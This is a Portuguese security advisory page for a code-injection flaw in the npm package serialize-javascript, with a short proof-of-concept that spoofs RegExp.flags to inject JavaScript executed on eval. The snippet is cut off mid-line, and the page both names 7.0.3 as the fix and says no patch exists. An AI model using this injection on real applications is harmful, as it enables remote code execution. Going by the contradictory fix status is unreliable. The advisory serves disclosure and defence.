Serialize JavaScript é vulnerável a RCE via RegExp.flags e Date.prototype.toISOString()
Plataforma
nodejs
Componente
serialize-javascript
Corrigido em
7.0.3
### Impacto O pacote npm serialize-javascript (versões <= 7.0.2) contém uma vulnerabilidade de injeção de código. É uma correção incompleta para CVE-2020-7660. Enquanto `RegExp.source` é sanitizado, `RegExp.flags` é interpolado diretamente na saída gerada sem escapar. Um problema semelhante existe em `Date.prototype.toISOString()`. Se um invasor puder controlar o objeto de entrada passado para `serialize()`, ele poderá injetar JavaScript malicioso através da propriedade flags de um objeto RegExp. Quando a string serializada é avaliada posteriormente (via `eval`, `new Function` ou tags `<script>`), o código injetado é executado. ```javascript const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log(
Como corrigir
Nenhum patch oficial disponível. Procure alternativas ou monitore atualizações.
Monitore suas dependências automaticamente
Receba alertas quando novas vulnerabilidades afetarem seus projetos.
Começar grátis